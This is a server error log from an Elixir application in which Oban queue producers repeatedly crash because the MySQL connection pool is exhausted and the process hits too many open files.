State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:28:10.248465Z], limit: 3, uuid: "f5dd385b-3eed-4070-af84-b191f0abe547", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:10.248470Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7621>, refresh_timer: #Reference<0.2525715032.1121189889.117203>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:28:10.249593Z], limit: 10, uuid: "6688465a-3c96-4120-9fd5-eeac5cff15a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:10.249598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7622>, refresh_timer: #Reference<0.2525715032.1099431938.17501>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:28:10.250726Z], limit: 50, uuid: "418ca895-fd7e-4e91-ac9e-25656bfe9e24", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:10.250732Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7618>, refresh_timer: #Reference<0.2525715032.1068498948.7604>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:28:10.249187Z], limit: 5, uuid: "749ed570-af61-46c3-98a0-c37420c4974a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:10.249192Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.7623>, refresh_timer: #Reference<0.2525715032.1077411843.249961>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:27.641000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:28.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:29.935000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:33.358000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:33.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:35.319000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:28:23.240247Z], limit: 5, uuid: "a0e1dfa5-92f3-4022-aeae-741cc656a910", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:23.240253Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8093>, refresh_timer: #Reference<0.2525715032.1121189889.117329>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:28:23.240204Z], limit: 50, uuid: "fbf42d59-c62f-43ca-98e8-0701e6994ca2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:23.240209Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8094>, refresh_timer: #Reference<0.2525715032.1068498948.8075>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:28:23.240343Z], limit: 5, uuid: "3f3e698a-a4a9-46d7-9de2-b38787b1df69", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:23.240347Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8096>, refresh_timer: #Reference<0.2525715032.1077411843.250021>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:28:23.239903Z], limit: 10, uuid: "afe0606d-5fba-4cc2-9618-02bb8d033367", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:23.239910Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8092>, refresh_timer: #Reference<0.2525715032.1099431938.17618>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:28:23.240292Z], limit: 20, uuid: "307aa4a8-447b-4c85-994e-23561e37ffc1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:23.240297Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8091>, refresh_timer: #Reference<0.2525715032.1068498948.8079>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
